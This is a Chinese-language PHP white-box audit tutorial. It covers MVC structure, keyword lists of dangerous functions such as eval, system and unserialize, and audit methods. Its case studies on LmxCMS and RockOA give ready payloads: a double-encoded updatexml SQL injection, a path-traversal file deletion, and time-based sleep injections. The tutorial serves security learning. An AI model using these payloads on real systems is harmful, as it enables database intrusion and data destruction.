1. MVC 架构基础

MVC(Model-View-Controller)是一种经典的软件架构模式,在 PHP 开发中被广泛应用。理解其数据流向是审计的核心。

1.1 核心流程

  1. Controller (控制器):截获用户发出的请求。

  2. Model (模型):Controller 调用 Model 完成状态的读写操作(数据库交互)。

  3. Controller (控制器):将 Model 返回的数据传递给 View。

  4. View (视图):渲染最终结果并呈现给用户。

1.2 各层职能

  • 1.2.1 控制器 (Controller):负责响应用户请求、准备数据以及决定如何展示数据。它是连接 Model 和 View 的桥梁。

  • 1.2.2 模型 (Model):管理业务逻辑和数据库逻辑,提供连接和操作数据库的抽象层。

  • 1.2.3 视图 (View):负责前端模板渲染数据,通常通过 HTML 方式呈现给用户。

1.3 对安全审计的影响

MVC 架构改变了传统审计的切入点:

  1. 文件代码定位问题:通过路由机制,URL 不再直接对应物理文件,需要寻找 Controller 入口。

  2. 代码过滤分析问题:输入过滤可能在框架层(全局)、Controller 层或 Model 层,需分层排查。

  3. 前端安全发现问题:View 层负责渲染,XSS 等漏洞通常在此层产生。

2. PHP 常见漏洞关键字速查

在白盒审计中,通过关键字搜索(Grep/Ctrl+F)是快速定位潜在漏洞点的最有效方法。

2.1 漏洞敏感函数

  • 2.1.1 SQL 注入select, insert, update, mysql_query, mysqli_query, pdo

  • 2.1.2 文件上传$_FILES, type="file", move_uploaded_file(), upload

  • 2.1.3 XSS 跨站脚本print, print_r, echo, sprintf, die, var_dump, var_export

  • 2.1.4 文件包含include, include_once, require, require_once

  • 2.1.5 代码执行 (RCE)eval, assert, preg_replace (/e 模式), call_user_func, call_user_func_array

  • 2.1.6 命令执行system, exec, shell_exec, `` (反引号), passthru, pcntl_exec, popen, proc_open

  • 2.1.7 变量覆盖extract(), parse_str(), import_request_variables(), $$ (可变变量)

  • 2.1.8 反序列化serialize(), unserialize(), __construct, __destruct, __wakeup

  • 2.1.9 文件操作 (任意删除/读取)unlink() (删除), file_get_contents(), show_source(), file(), fopen()

2.2 通用与辅助审计关键字

  • 2.2.1 超全局变量 (输入源)$_GET, $_POST, $_REQUEST, $_FILES, $_SERVER

  • 2.2.2 开发者注释: 搜索 TODO, FIXME, HACK, 优化, 测试 等词汇,往往能发现未完成或不安全的代码逻辑。

3. MVC 开发审计策略

3.1 审计入口常见方法

  • 3.1.1 搜索法:对于常规或部分非框架 MVC 源码,直接采用关键字搜索挖掘思路。

  • 3.1.2 功能法:针对特定业务功能(如登录、上传、留言),结合抓包追踪数据流向进行挖掘。

  • 3.1.3 对比法:对比应用修复前后的版本文件(Diff),寻找 Patch 的特征来反推未修复版本的漏洞。

  • 3.1.4 特征法:数据库监控(开启 General Log 挖 SQL 注入)、文件监控(监控文件系统变动挖上传/删除/写入)。

  • 3.1.5 调试法:使用 Xdebug 等工具进行动态插桩调试,跟踪变量运行时的值。

3.2 审计流程核心步骤

  1. 搞清 URL 路由对应:确定 URL 请求如何映射到具体的逻辑代码(Controller/Action)或静态页面。

  2. 搞清核心配置文件:查找数据库连接配置、全局过滤规则(如 addslashes)、路由规则配置。

  3. 搞清是否为开发框架:识别是原生 MVC 还是知名框架(ThinkPHP, Yii, Laravel 等),框架通常有已知的历史漏洞或特定的安全机制。

4. 案例实战:LmxCMS

4.1 MVC SQL 注入漏洞

  • 4.1.1 漏洞详情

    • 参考链接:CNVD-2023-98192, CNVD-2019-05674

    • 漏洞成因:输入数据经过多次 URL 解码,绕过了安全过滤函数。

  • 4.1.2 绕过逻辑: 数据流向:name (输入) url解码 (框架/逻辑) filter_sql (过滤检测) url解码 (再次解码导致 Payload 还原)。

  • 4.1.3 利用 Payload

    SQL

    /index.php?m=Tags&name=%2531%2527%2520%2561%256e%2564%2520%2575%2570%2564%2561%2574%2565%2578%256d%256c%2528%2530%252c%2563%256f%256e%2563%2561%2574%2528%2530%2578%2537%2565%252c%2575%2573%2565%2572%2528%2529%2529%252c%2531%2529%2523
    

    (注:上述 Payload 为两次 URL 编码后的 1' and updatexml(0,concat(0x7e,user()),1)#)

4.2 MVC 文件安全漏洞

  • 4.2.1 漏洞详情

    • 参考链接:CNVD-2020-59469

    • 漏洞类型:任意文件删除。

  • 4.2.2 代码追踪

    1. 入口admin.php?m=backdb&a=delbackdb

    2. 路由:映射到 BackdbAction.class.php 中的 delbackdb 方法。

    3. 逻辑:调用 delOne() 方法 执行 unlink() 删除文件。

  • 4.2.3 利用 Payload

    HTTP

    admin.php?m=backdb&a=delbackdb&filename=../../1.txt
    

5. 案例实战:RockOA

RockOA 是一套开源的办公系统,其 URL 路由特征通常为 ?m=目录|文件名&d=外层目录&a=方法名

5.1 考勤打卡 SQL 注入

  • 5.1.1 代码追踪

    • URL/index.php?m=opendkq|openapi&d=task&a=zktime

    • 文件路径/task/openapi/opendkqAction.php

    • 调用链zktimeAction() senddata() addkqjs() insert (注入点)。

  • 5.1.2 利用 Payload

    HTTP

    POST /index.php?m=opendkq|openapi&d=task&a=zktime HTTP/1.1
    Host: 192.168.1.4:89
    
    {"xxx":{"sn":"123' and sleep(5)#"}}
    

5.2 基础数据查询 SQL 注入

  • 5.2.1 代码追踪

    • URL/index.php?m=openbase|openapi&d=task&a=querydata

    • 文件路径/task/openapi/openbaseAction.php

    • 调用链querydataAction() getuserid() select (注入点)。

  • 5.2.2 利用 Payload

    HTTP

    POST /index.php?m=openbase|openapi&d=task&a=querydata HTTP/1.1
    
    {"baseoptid":"1","basemodenum":"xxx' OR SLEEP(0.04)#"}